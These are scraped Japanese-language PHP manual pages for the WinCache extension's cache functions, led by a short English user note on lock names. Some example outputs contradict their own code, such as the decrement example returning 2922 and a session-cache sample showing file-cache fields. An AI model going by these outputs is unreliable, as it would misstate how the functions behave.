User should be aware that character '\' is not allowed as part of lock name. The reason why backslash is not allowed is because we are using CreateMutex call as described at http://msdn.microsoft.com/en-us/library/ms682411(VS.85).aspx. As per this article third parameter cannot have '\' character which is the lock name.

This means below code will not work.

<?php

   $ret_val = wincache_lock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';
   $ret_val = wincache_unlock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';

?>


opcode キャッシュにキャッシュされたファイルについての情報を取得する

  • ≪ wincache_lock
  • wincache_ocache_meminfo ≫
  • PHP Manual
  • WinCache 関数
  • opcode キャッシュにキャッシュされたファイルについての情報を取得する

wincache_ocache_fileinfo

(PECL wincache >= 1.0.0)

wincache_ocache_fileinfo — opcode キャッシュにキャッシュされたファイルについての情報を取得する

説明

wincache_ocache_fileinfo ( bool $summaryonly = false ) : array|false

opcode キャッシュの中身とその利用状況についての情報を取得します。

警告

この機能は PHP 7.0.0 で 削除 されました。

パラメータ

summaryonly

返される配列に、opcode キャッシュの概要に加えて個々のキャッシュエントリの情報を含めるかどうか。

返り値

opcode キャッシュについてのメタデータの配列を返します。失敗した場合に false を返します

この関数が返す配列には次の要素が含まれます。

  • total_cache_uptime - opcode キャッシュがアクティブになってからの経過秒数。
  • total_file_count - 現在 opcode キャッシュに入っているファイルの数。
  • total_hit_count - opcode キャッシュからファイルが取り出された回数。
  • total_miss_count - ファイルが opcode キャッシュに見つからなかった回数。
  • is_local_cache - ローカルキャッシュインスタンスのメタデータである場合は true、 グローバルキャッシュのメタデータである場合は false。

  • file_entries - キャッシュされているファイルに関する情報を含む配列。

    • file_name - キャッシュされているファイルの絶対パスでのファイル名。
    • add_time - opcode キャッシュに追加されてからの経過秒数。
    • use_time - opcode キャッシュ内でアクセスされてからの経過秒数。
    • last_check - ファイルの変更をチェックされてからの経過秒数。
    • hit_count - ファイルがキャッシュから取り出された回数。
    • function_count - キャッシュされたファイル内の関数の数。
    • class_count - キャッシュされたファイルの中のクラスの数。

例

例1 wincache_ocache_fileinfo() の例

<pre>
<?php
print_r(wincache_ocache_fileinfo());
?>
</pre>

上の例の出力は以下となります。

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

参考

  • wincache_fcache_fileinfo() - ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ocache_meminfo() - opcode キャッシュのメモリ使用状況についての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo() - セッションキャッシュのメモリ使用状況についての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


opcode キャッシュのメモリ使用状況についての情報を取得する

  • ≪ wincache_ocache_fileinfo
  • wincache_refresh_if_changed ≫
  • PHP Manual
  • WinCache 関数
  • opcode キャッシュのメモリ使用状況についての情報を取得する

wincache_ocache_meminfo

(PECL wincache >= 1.0.0)

wincache_ocache_meminfo — opcode キャッシュのメモリ使用状況についての情報を取得する

説明

wincache_ocache_meminfo ( ) : array|false

opcode キャッシュによるメモリ使用状況についての情報を取得します。

返り値

opcode キャッシュのメモリ使用状況についてのメタデータの配列を返します。失敗した場合に false を返します

この関数が返す配列には次の要素が含まれます。

  • memory_total - opcode キャッシュ用に確保されたメモリのバイト数。
  • memory_free - opcode キャッシュで使える空きメモリのバイト数。
  • num_used_blks - opcode キャッシュが使っているメモリブロック数。
  • num_free_blks - opcode キャッシュで使える空きメモリブロック数。
  • memory_overhead - opcode キャッシュが内部的に使っているメモリのバイト数。

警告

この機能は PHP 7.0.0 で 削除 されました。

例

例1 wincache_ocache_meminfo() の例

<pre>
<?php
print_r(wincache_ocache_meminfo());
?>
</pre>

上の例の出力は以下となります。

Array
(
    [memory_total] => 134217728
    [memory_free] => 112106972
    [num_used_blks] => 15469
    [num_free_blks] => 4
    [memory_overhead] => 247600
)

参考

  • wincache_fcache_fileinfo() - ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ocache_fileinfo() - opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo() - セッションキャッシュのメモリ使用状況についての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


キャッシュされたファイルのキャッシュエントリをリフレッシュする

  • ≪ wincache_ocache_meminfo
  • wincache_rplist_fileinfo ≫
  • PHP Manual
  • WinCache 関数
  • キャッシュされたファイルのキャッシュエントリをリフレッシュする

wincache_refresh_if_changed

(PECL wincache >= 1.0.0)

wincache_refresh_if_changed — キャッシュされたファイルのキャッシュエントリをリフレッシュする

説明

wincache_refresh_if_changed ( array $files = NULL ) : bool

ファイルのキャッシュエントリをリフレッシュします。ファイル名は引数で渡します。 引数を指定しなかった場合は、キャッシュ内のすべてのエントリをリフレッシュします。

パラメータ

files

リフレッシュしたいファイル名の配列。 絶対パスあるいは相対パスのどちらでもかまいません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

WinCache はキャッシュされたファイルを定期的にチェックし、 もしファイルが変更されていれば、キャッシュ内の対応するエントリを更新します。 デフォルトでは、このチェックは 30 秒おきに行います。 たとえば、ある PHP スクリプトが アプリケーションの設定が書かれている別の PHP スクリプトを更新するような場合、 設定はファイルに保存されているのに アプリケーション側ではキャッシュにある以前の設定を利用するという状況も発生し得ます。 そのような場合は、ファイルが変更されたらすぐにキャッシュをリフレッシュすることを推奨します。 次の例は、これをどのように行うかを示すものです。

例1 wincache_refresh_if_changed() の例

<?php
$filename = 'C:\inetpub\wwwroot\config.php';
$handle = fopen($filename, 'w+');
if ($handle === FALSE) die('Failed to open file '.$filename.' for writing');
fwrite($handle, '<?php $setting=something; ?>');
fclose($handle);
wincache_refresh_if_changed(array($filename));
?>

参考

  • wincache_fcache_fileinfo() - ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ocache_fileinfo() - opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ocache_meminfo() - opcode キャッシュのメモリ使用状況についての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルパス解決キャッシュについての情報を取得する

  • ≪ wincache_refresh_if_changed
  • wincache_rplist_meminfo ≫
  • PHP Manual
  • WinCache 関数
  • ファイルパス解決キャッシュについての情報を取得する

wincache_rplist_fileinfo

(PECL wincache >= 1.0.0)

wincache_rplist_fileinfo — ファイルパス解決キャッシュについての情報を取得する

説明

wincache_rplist_fileinfo ( bool $summaryonly = false ) : array|false

相対ファイルパスとそれに対応する絶対ファイルパスとの対応を記録したキャッシュについての情報を取得します。

返り値

ファイルパス解決キャッシュについてのメタデータの配列を返します。失敗した場合に false を返します

この関数が返す配列には次の要素が含まれます。

  • total_file_count - キャッシュに格納されたファイルパスのマッピングの数。

  • rplist_entries - キャッシュされたすべてのファイルパスに関する情報を含む配列。

    • resolve_path - ファイルへのパス。
    • subkey_data - 対応する絶対パス。

例

例1 wincache_rplist_fileinfo() の例

<pre>
<?php
print_r(wincache_rplist_fileinfo());
?>
</pre>

上の例の出力は以下となります。

Array
(
    [total_file_count] => 5
    [rplist_entries] => Array
        (
            [1] => Array
                (
                    [resolve_path] => checkcache.php
                    [subkey_data] => c:\inetpub\wwwroot|c:\inetpub\wwwroot\checkcache.php
                )

            [2] => Array (...iterates for each cached file)
        )
)

参考

  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_fcache_fileinfo() - ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ocache_fileinfo() - opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ocache_meminfo() - opcode キャッシュのメモリ使用状況についての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo() - セッションキャッシュのメモリ使用状況についての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する

  • ≪ wincache_rplist_fileinfo
  • wincache_scache_info ≫
  • PHP Manual
  • WinCache 関数
  • ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する

wincache_rplist_meminfo

(PECL wincache >= 1.0.0)

wincache_rplist_meminfo — ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する

説明

wincache_rplist_meminfo ( ) : array|false

ファイルパス解決キャッシュによるメモリ使用状況についての情報を取得します。

返り値

ファイルパス解決キャッシュのメモリ使用状況についてのメタデータの配列を返します。失敗した場合に false を返します

The array returned by this function contains the following elements:

  • memory_total - ファイルパス解決キャッシュ用に確保されたメモリのバイト数。
  • memory_free - ファイルパス解決キャッシュで使える空きメモリのバイト数。
  • num_used_blks - ファイルパス解決キャッシュが使っているメモリブロック数。
  • num_free_blks - ファイルパス解決キャッシュで使える空きメモリブロック数。
  • memory_overhead - ファイルパス解決キャッシュが内部的に使っているメモリのバイト数。

例

例1 wincache_rplist_meminfo() の例

<pre>
<?php
print_r(wincache_rplist_meminfo());
?>
</pre>

上の例の出力は以下となります。

Array
(
    [memory_total] => 9437184
    [memory_free] => 9416744
    [num_used_blks] => 23
    [num_free_blks] => 1
    [memory_overhead] => 416
)

参考

  • wincache_fcache_fileinfo() - ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ocache_fileinfo() - opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ocache_meminfo() - opcode キャッシュのメモリ使用状況についての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo() - セッションキャッシュのメモリ使用状況についての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


セッションキャッシュにキャッシュされたファイルについての情報を取得する

  • ≪ wincache_rplist_meminfo
  • wincache_scache_meminfo ≫
  • PHP Manual
  • WinCache 関数
  • セッションキャッシュにキャッシュされたファイルについての情報を取得する

wincache_scache_info

(PECL wincache >= 1.1.0)

wincache_scache_info — セッションキャッシュにキャッシュされたファイルについての情報を取得する

説明

wincache_scache_info ( bool $summaryonly = false ) : array|false

セッションキャッシュの中身とその利用状況についての情報を取得します。

パラメータ

summaryonly

返される配列に、セッションキャッシュの概要に加えて個々のキャッシュエントリの情報を含めるかどうか。

返り値

セッションキャッシュについてのメタデータの配列を返します。失敗した場合に false を返します

この関数が返す配列には次の要素が含まれます。

  • total_cache_uptime - セッションキャッシュがアクティブになってからの経過秒数。
  • total_item_count - 現在セッションキャッシュに入っている要素の数。
  • is_local_cache - メタデータがローカルキャッシュ用のものである場合に true、 グローバルキャッシュ用のものである場合に false。
  • total_hit_count - キャッシュからファイルが取り出された回数。
  • total_miss_count - ファイルがキャッシュに見つからなかった回数。

  • scache_entries - キャッシュされているアイテムに関する情報を含む配列。

    • key_name - データを保存する際に使うキーの名前。
    • value_type - キーに関連づけて格納する値の型。
    • use_time - セッションキャッシュ内でアクセスされてからの経過秒数。
    • last_check - ファイルの変更をチェックされてからの経過秒数。
    • ttl_seconds - データをキャッシュ内に残す残り時間。0 は無制限。
    • age_seconds - データがキャッシュに追加されてからのおよその経過時間。
    • hitcount - キャッシュからファイルが取り出された回数。

例

例1 wincache_scache_info() の例

<pre>
<?php
print_r(wincache_scache_info());
?>
</pre>

上の例の出力は以下となります。

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [scache_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

参考

  • wincache_fcache_fileinfo() - ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ocache_meminfo() - opcode キャッシュのメモリ使用状況についての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo() - セッションキャッシュのメモリ使用状況についての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


セッションキャッシュのメモリ使用状況についての情報を取得する

  • ≪ wincache_scache_info
  • wincache_ucache_add ≫
  • PHP Manual
  • WinCache 関数
  • セッションキャッシュのメモリ使用状況についての情報を取得する

wincache_scache_meminfo

(PECL wincache >= 1.1.0)

wincache_scache_meminfo — セッションキャッシュのメモリ使用状況についての情報を取得する

説明

wincache_scache_meminfo ( ) : array|false

セッションキャッシュによるメモリ使用状況についての情報を取得します。

返り値

セッションキャッシュのメモリ使用状況についてのメタデータの配列を返します。失敗した場合に false を返します

この関数が返す配列には次の要素が含まれます。

  • memory_total - セッションキャッシュ用に確保されたメモリのバイト数。
  • memory_free - セッションキャッシュで使える空きメモリのバイト数。
  • num_used_blks - セッションキャッシュが使っているメモリブロック数。
  • num_free_blks - セッションキャッシュで使える空きメモリブロック数。
  • memory_overhead - セッションキャッシュが内部的に使っているメモリのバイト数。

例

例1 wincache_scache_meminfo() の例

<pre>
<?php
print_r(wincache_scache_meminfo());
?>
</pre>

上の例の出力は以下となります。

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

参考

  • wincache_fcache_fileinfo() - ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ocache_fileinfo() - opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する

  • ≪ wincache_scache_meminfo
  • wincache_ucache_cas ≫
  • PHP Manual
  • WinCache 関数
  • 変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する

wincache_ucache_add

(PECL wincache >= 1.1.0)

wincache_ucache_add — 変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する

説明

wincache_ucache_add ( string $key , mixed $value , int $ttl = 0 ) : bool
wincache_ucache_add ( array $values , mixed $unused = NULL , int $ttl = 0 ) : bool

変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加します。 追加された変数は、有効期限に達するか、 wincache_ucache_delete() あるいは wincache_ucache_clear() で削除されるまではキャッシュに残り続けます。

パラメータ

key

変数を格納するときに、この名前のキーを使います。 同じキーで既に変数が格納されているときは、この関数は失敗して false を返します。 key は大文字小文字を区別します。同じキーがあっても値を上書きしたい場合は wincache_ucache_set() 関数をかわりに使います。 key には name => value のペアの配列を渡すこともできます。 この場合は name がキーとなります。 この形式を使えば複数の値を一度の操作でキャッシュに格納できるので、競合状態になることを防げます。

value

格納したい変数の値。ファイルハンドルのようなリソース型以外のすべてのデータ型をサポートしています。 最初のパラメータが配列の場合は、このパラメータは無視されます。 一般的な指針として、key に配列を渡す場合は value を null にしておきましょう。 value がオブジェクト、あるいはオブジェクトを含む配列である場合は、 オブジェクトがシリアライズされます。オブジェクトのシリアライズについての詳細は __sleep() を参照ください。

values

キーと値の連想配列。

ttl

変数のキャッシュ内での生存時間を秒単位で指定します。 ttl で指定した秒数が経過すると、 格納されている変数はキャッシュから削除されます。 このパラメータのデフォルト値は 0 で、これは wincache_ucache_delete() あるいは wincache_ucache_clear() で明示的に削除するまでキャッシュに残り続けることを意味します。

返り値

key が文字列のときは、成功した場合に true、失敗した場合に false を返します。

key が配列のときの返り値は、次のようになります。

  • 配列内のすべての name => value ペアが設定できた場合は、空の配列を返します。
  • 配列内の name => value ペアがひとつも設定できなかった場合は、false を返します。
  • 成功したペアと失敗したペアがある場合は、ユーザーキャッシュへの追加に失敗した name=>value ペアを含む配列を返します。

例

例1 wincache_ucache_add() で key を文字列にする例

<?php
$bar = 'BAR';
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_get('foo'));
?>

上の例の出力は以下となります。

bool(true)
bool(false)
string(3) "BAR"

例2 wincache_ucache_add() で key を配列にする例

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

上の例の出力は以下となります。

array(0) { }
array(4) {
  ["green"]=> int(-1)
  ["Blue"]=> int(-1)
  ["yellow"]=> int(-1)
  ["cyan"]=> int(-1)
}
string(1) "6"

参考

  • wincache_ucache_set() - 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする
  • wincache_ucache_get() - ユーザーキャッシュに格納された変数を取得する
  • wincache_ucache_delete() - 変数をユーザーキャッシュから削除する
  • wincache_ucache_clear() - ユーザーキャッシュの中身全体を削除する
  • wincache_ucache_exists() - 変数がユーザーキャッシュに存在するかどうかを調べる
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • __sleep()

User Contributed Notes

There are no user contributed notes for this page.


変数を古い値と比較して新しい値を代入する

  • ≪ wincache_ucache_add
  • wincache_ucache_clear ≫
  • PHP Manual
  • WinCache 関数
  • 変数を古い値と比較して新しい値を代入する

wincache_ucache_cas

(PECL wincache >= 1.1.0)

wincache_ucache_cas — 変数を古い値と比較して新しい値を代入する

説明

wincache_ucache_cas ( string $key , int $old_value , int $new_value ) : bool

指定したキーの変数を old_value と比較し、 マッチした場合はそこに new_value を代入します。

パラメータ

key

変数をキャッシュに格納するときに使ったキーの名前。 key は大文字小文字を区別します。

old_value

ユーザーキャッシュ内の key が指す変数の古い値。 この値は long 型でなければならず、 それ以外の場合はこの関数は false を返します。

new_value

マッチしたときに key が指す変数に代入する新しい値。 この値は long 型でなければならず、 それ以外の場合はこの関数は false を返します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 wincache_ucache_cas() の使用法

<?php
wincache_ucache_set('counter', 2922);
var_dump(wincache_ucache_cas('counter', 2922, 1));
var_dump(wincache_ucache_get('counter'));
?>

上の例の出力は以下となります。

bool(true)
int(1)

参考

  • wincache_ucache_inc() - キーに関連づけられた値を増加させる
  • wincache_ucache_dec() - キーに関連づけられた値を減少させる

User Contributed Notes

There are no user contributed notes for this page.


ユーザーキャッシュの中身全体を削除する

  • ≪ wincache_ucache_cas
  • wincache_ucache_dec ≫
  • PHP Manual
  • WinCache 関数
  • ユーザーキャッシュの中身全体を削除する

wincache_ucache_clear

(PECL wincache >= 1.1.0)

wincache_ucache_clear — ユーザーキャッシュの中身全体を削除する

説明

wincache_ucache_clear ( ) : bool

ユーザーキャッシュに格納されているすべての値を消去/削除します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 wincache_ucache_clear() の使用法

<?php
wincache_ucache_set('green', 1);
wincache_ucache_set('red', 2);
wincache_ucache_set('orange', 4);
wincache_ucache_set('blue', 8);
wincache_ucache_set('cyan', 16);
$array1 = array('green', 'red', 'orange', 'blue', 'cyan');
var_dump(wincache_ucache_get($array1));
var_dump(wincache_ucache_clear());
var_dump(wincache_ucache_get($array1));
?>

上の例の出力は以下となります。

array(5) { ["green"]=> int(1)
           ["red"]=> int(2)
           ["orange"]=> int(4)
           ["blue"]=> int(8)
           ["cyan"]=> int(16) }
bool(true)
bool(false)

参考

  • wincache_ucache_set() - 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする
  • wincache_ucache_add() - 変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する
  • wincache_ucache_delete() - 変数をユーザーキャッシュから削除する
  • wincache_ucache_get() - ユーザーキャッシュに格納された変数を取得する
  • wincache_ucache_exists() - 変数がユーザーキャッシュに存在するかどうかを調べる
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


キーに関連づけられた値を減少させる

  • ≪ wincache_ucache_clear
  • wincache_ucache_delete ≫
  • PHP Manual
  • WinCache 関数
  • キーに関連づけられた値を減少させる

wincache_ucache_dec

(PECL wincache >= 1.1.0)

wincache_ucache_dec — キーに関連づけられた値を減少させる

説明

wincache_ucache_dec ( string $key , int $dec_by = 1 , bool &$success = ? ) : mixed

key に関連づけられた値を、1 あるいは dec_by で指定した数だけ減らします。

パラメータ

key

変数をキャッシュに格納するときに使ったキーの名前。 key は大文字小文字を区別します。

dec_by

key に関連づけられた変数の減少幅。 浮動小数点数を指定した場合は、最も近い整数に丸められます。 key に関連づけられた変数は long 型でなければならず、 それ以外の場合はこの関数は失敗して false を返します。

success

成功した場合に true、失敗した場合に false が設定されます。

返り値

成功した場合に減少後の値、失敗した場合に false を返します。

例

例1 wincache_ucache_dec() の使用法

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_dec('counter', 2923, $success));
var_dump($success);
?>

上の例の出力は以下となります。

int(2922)
bool(true)

参考

  • wincache_ucache_inc() - キーに関連づけられた値を増加させる
  • wincache_ucache_cas() - 変数を古い値と比較して新しい値を代入する

User Contributed Notes

There are no user contributed notes for this page.


変数をユーザーキャッシュから削除する

  • ≪ wincache_ucache_dec
  • wincache_ucache_exists ≫
  • PHP Manual
  • WinCache 関数
  • 変数をユーザーキャッシュから削除する

wincache_ucache_delete

(PECL wincache >= 1.1.0)

wincache_ucache_delete — 変数をユーザーキャッシュから削除する

説明

wincache_ucache_delete ( mixed $key ) : bool

key が指す要素をユーザーキャッシュから削除します。

パラメータ

key

変数をキャッシュに格納するときに使ったキーの名前。 key は大文字小文字を区別します。 key にはキーの配列を指定することもできます。

返り値

成功した場合に true を、失敗した場合に false を返します。

key が配列のときは、配列の要素がどれも削除できなかった場合に false を返します。それ以外の場合は、削除されたすべてのキーを含む配列を返します。

例

例1 wincache_ucache_delete() で key に文字列を使う例

<?php
wincache_ucache_set('foo', 'bar');
var_dump(wincache_ucache_delete('foo'));
var_dump(wincache_ucache_exists('foo'));
?>

上の例の出力は以下となります。

bool(true)
bool(false)

例2 wincache_ucache_delete() で key に配列を使う例

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'blue', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

上の例の出力は以下となります。

array(4) { [0]=> string(5) "green"
           [1]=> string(4) "Blue"
           [2]=> string(6) "yellow"
           [3]=> string(4) "cyan" }

例3 wincache_ucache_delete() で key に配列を使い、いくつかの要素の削除に失敗する例

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('orange', 'red', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

上の例の出力は以下となります。

array(2) { [0]=> string(6) "yellow"
           [1]=> string(4) "cyan" }

参考

  • wincache_ucache_set() - 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする
  • wincache_ucache_add() - 変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する
  • wincache_ucache_get() - ユーザーキャッシュに格納された変数を取得する
  • wincache_ucache_clear() - ユーザーキャッシュの中身全体を削除する
  • wincache_ucache_exists() - 変数がユーザーキャッシュに存在するかどうかを調べる
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


変数がユーザーキャッシュに存在するかどうかを調べる

  • ≪ wincache_ucache_delete
  • wincache_ucache_get ≫
  • PHP Manual
  • WinCache 関数
  • 変数がユーザーキャッシュに存在するかどうかを調べる

wincache_ucache_exists

(PECL wincache >= 1.1.0)

wincache_ucache_exists — 変数がユーザーキャッシュに存在するかどうかを調べる

説明

wincache_ucache_exists ( string $key ) : bool

指定したキーの変数がユーザーキャッシュに存在するかどうかを調べます。

パラメータ

key

変数をキャッシュに格納するときに使ったキーの名前。 key は大文字小文字を区別します。

返り値

指定したキーの変数が存在する場合に true、 それ以外の場合に false を返します。

例

例1 wincache_ucache_exists() の使用法

<?php
if (!wincache_ucache_exists('green'))
    wincache_ucache_set('green', 1);
var_dump(wincache_ucache_exists('green'));
?>

上の例の出力は以下となります。

bool(true)

参考

  • wincache_ucache_set() - 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする
  • wincache_ucache_add() - 変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する
  • wincache_ucache_get() - ユーザーキャッシュに格納された変数を取得する
  • wincache_ucache_clear() - ユーザーキャッシュの中身全体を削除する
  • wincache_ucache_delete() - 変数をユーザーキャッシュから削除する
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


ユーザーキャッシュに格納された変数を取得する

  • ≪ wincache_ucache_exists
  • wincache_ucache_inc ≫
  • PHP Manual
  • WinCache 関数
  • ユーザーキャッシュに格納された変数を取得する

wincache_ucache_get

(PECL wincache >= 1.1.0)

wincache_ucache_get — ユーザーキャッシュに格納された変数を取得する

説明

wincache_ucache_get ( mixed $key , bool &$success = ? ) : mixed

ユーザーキャッシュに格納された変数を取得します。

パラメータ

key

変数をキャッシュに格納するときに使ったキーの名前。 key は大文字小文字を区別します。 key にはキーの配列を指定することもできます。 その場合の返り値は、key 配列の各要素の値の配列となります。 オブジェクト、あるいはオブジェクトを含む配列が返されるときには、 オブジェクトがデシリアライズされます。シリアライズしたオブジェクトの復元についての詳細は __wakeup() を参照ください。

success

成功した場合に true、失敗した場合に false が設定されます。

返り値

key が文字列のときは、そのキーに格納された変数の値を返します。 success には、成功した場合に true、 失敗した場合に false が設定されます。

key が配列のときは、success には常に true が設定されます。返される配列 (name => value のペア) には、取得に成功したペアだけが含まれます。指定したキーがひとつもユーザーキャッシュから見つからなかった場合は 空の配列を返します。

例

例1 wincache_ucache_get() で key に文字列を使う例

<?php
wincache_ucache_add('color', 'blue');
var_dump(wincache_ucache_get('color', $success));
var_dump($success);
?>

上の例の出力は以下となります。

string(4) "blue"
bool(true)

